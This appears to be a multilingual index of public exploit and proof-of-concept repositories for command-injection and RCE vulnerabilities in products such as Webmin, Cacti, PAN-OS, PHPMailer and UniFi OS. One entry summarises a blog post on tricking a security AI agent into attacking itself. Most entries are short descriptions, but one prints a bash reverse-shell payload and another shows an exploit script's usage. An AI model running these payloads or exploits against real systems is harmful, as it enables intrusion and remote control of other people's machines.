CVE-2025-67511

CVE-2025-67511: Как обмануть AI-агента безопасности, заставив его взломать самого себя Пост в блоге Hacktive Security об CVE-2025-67511 Ссылка на пост : https://www.hacktivesecurity.com/blog/2025/12/10/cve-2025-67511-tricking-a-security-ai-agent-into-pwning-itself/ Краткое содержание Уязвимость...

CVE-2012-2982-Exploit-Script

CVE-2012-2982-Exploit-Script A short and sweet simple exploit script for the CVE-2012-2982 Authenticated RCE vulnerability in the /file/show.cgi/bin endpoint. Webmin RCE Exploit — CVE-2012-2982 This repository contains a Python proof-of-concept exploit for Webmin 🧠 Notes Payload defaults to a bas...

CVE-2024-25082_CVE-2024-25081

⚠️ FontForge RCE — CVE-2024-25081 & CVE-2024-25082 - PoC 📖 Overview Proof-of-concept exploit for two command injection vulnerabilities in FontForge ≤ 20230101 Splinefont component. CVE| Vector| Trigger ---|---|--- CVE-2024-25081| Crafted filename| Direct file open CVE-2024-25082| Crafted archive...

cisco-rv-rce-poc

CVE-2023-20048 — PoC и эксплойт для Cisco RV Series ⚠ ПРЕДУПРЕЖДЕНИЕ: Только для авторизованного тестирования. Не используйте против систем, которыми вы не владеете или на тестирование которых у вас нет письменного разрешения. Это доказательство концепции PoC только для авторизованного...

CVE-2022-46169

CVE-2022-46169 PoC: Обход аутентификации и удаленное выполнение кода Этот репозиторий содержит PoC для уязвимости CVE-2022-46169, которая позволяет злоумышленнику обойти аутентификацию и удаленно выполнить произвольный код на уязвимой системе. Уязвимость затрагивает Cacti версии 1.2.22, выпущенно...

CVE-2021-36260

CVE-2021-36260 CVE-2021-36260 ./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --check Безопасная и небезопасная проверка уязвимости/верификации: будет использоваться 'небезопасная проверка', только если не подтверждена 'безопасной проверкой' $./CVE-2021-36260.py --rhost 192.168.57.20 --rpo...

CVE-2021-4045

🔍 CVE-2021-4045: Vulnérabilité d'injection de commandes dans TP-Link Tapo C200 CVE-2021-4045 📌 Résumé CVE-2021-4045 est une vulnérabilité d'injection de commandes découverte dans la caméra TP-Link Tapo C200 , qui permet à un attaquant de prendre le contrôle total de l'appareil avec les privilèges...

CVE-2025-8110-Gogs-Remote-Code-Execution

Затронутое ПО: Gogs самостоятельно размещаемый Git-сервис версий до 0.13.0. Тип уязвимости: Внедрение команд в механизм Git-хуков. Описание: Злоумышленник с правами на отправку изменений в репозиторий может создать вредоносный Git-хук, который внедряет команды в скрипт post‑receive хука, что...

CVE-2024-3400

Уязвимость CVE-2024-3400 Описание Уязвимость CVE-2024-3400 — это уязвимость безопасности, затрагивающая межсетевые экраны PAN-OS версий 10.2, 11.0 и 11.1. Данная уязвимость эксплуатируется, когда включены конфигурации шлюза GlobalProtect и телеметрии устройств. Злоумышленник может воспользоваться...

CVE-2020-15778

CVE-2020-15778 Введение Этот репозиторий воспроизводит CVE-2020-15778. Шаги 1. Соберите docker-образы для сервера и клиента scp cd client docker build -t client-cve . cd server docker build -t server-cve . 2. Запустите scp-сервер в контейнере. docker run -d -P --name scp-server server-cve Получит...

CVE-2024-12970

CVE-2024-12970 CVE-2024-12970는 Pardus 운영 체제의 My Computer 소프트웨어에서 발견된 OS Command Injection 시스템 명령어 삽입 취약점을 설명합니다. 이 취약점은 사용자가 파일 이름 매개변수를 통해 시스템 명령어를 주입할 수 있게 하여, 공격자가 시스템에서 악성 명령을 실행할 수 있도록 합니다. 이 취약점은 Pardus My Computer 소프트웨어 버전 0.7.2 이전 버전에 존재합니다. 취약점이 발견된 함수 취약점은 getfileinfo 함수에 존재합니다. 이 함수는...

CVE-2009-4623

Advanced Comment System 1.0 - Удаленное выполнение команд RCE https://nvd.nist.gov/vuln/detail/CVE-2009-4623 Примеры python3 exploit.py http://127.0.0.1 uname -a python3 exploit.py http://127.0.0.1 'bash -i & /dev/tcp/127.0.0.1/443 0&1'...

CVE-2022-25064

CVE-2022-25064 Ce script exploite une vulnérabilité d'injection de commandes OS dans le routeur TPLink WR840N, en utilisant la fonction de configuration du protocole IPv6...

exploit-CVE-2016-10033

PHPMailer 5.2.18 Удаленное выполнение кода PHPMailer — самый популярный в мире транспортный класс, по оценкам, 9 миллионов пользователей по всему миру. Загрузки продолжаются с высоким темпом ежедневно. Используется многими проектами с открытым исходным кодом: WordPress, Drupal, 1CRM, SugarCRM, Yi...

CVE-2025-11953-PoC

Description Le serveur de développement Metro, qui est ouvert par le React Native Community CLI, se lie aux interfaces externes par défaut. Le serveur expose un point de terminaison vulnérable à une injection de commandes système. Cela permet à des attaquants non authentifiés sur le réseau...

CVE-2025-56803

CVE-2025-56803 Уязвимость внедрения команд ОС через выполнение плагина в настольном приложении Figma 1. Обзор Приложение : Figma Desktop Application Версия : 125.6.5 Разработчик : Figma, Inc. CWE : CWE-78: Improper Neutralization of Special Elements used in an OS Command 'OS Command Injection'...

CVE-2023-40289

CVE-2023-40289 Это эксплойт для CVE-2023-40289 — уязвимости внедрения команд в нескольких контроллерах управления базовой платой BMC с прошивкой от ATEN. Примерами затронутых устройств являются Aspeed AST2300 и AST2500, которые встречаются, среди прочих, в серверных системах Supermicro серий X10 ...

CVE-2024-21532-PoC-ggit

CVE-2024-21532: уязвимость внедрения команд в ggit ggit описывает себя как: Local promise-returning git command wrappers Ресурсы: Исходный код проекта на GitHub: https://github.com/bahmutov/ggit npm-пакет проекта: https://www.npmjs.com/package/ggit Статья об этой уязвимости:...

coolify-cve-2025-66209-66213

Coolify Security Advisories - CVE-2025-66209 through CVE-2025-66213 Reporter: 0xrakan Vendor: coollabsio/coolify Affected Versions: v4.0.0-beta.451 Fixed Version: v4.0.0-beta.451 Severity: Critical CVSS 9.4 Overview Five critical authenticated command injection vulnerabilities were discovered in...

CVE-2026-34910-PoC

CVE-2026-34910 / CVE-2026-34909 — UniFi OS Unauthenticated RCE & File Read Unauthenticated Command Injection RCE CVE-2026-34910 + Path Traversal Arbitrary File Read CVE-2026-34909 in UniFi OS Server. CVSS 10.0 Critical each · CISA KEV listed · actively exploited by a Mirai-derived botnet azsxd...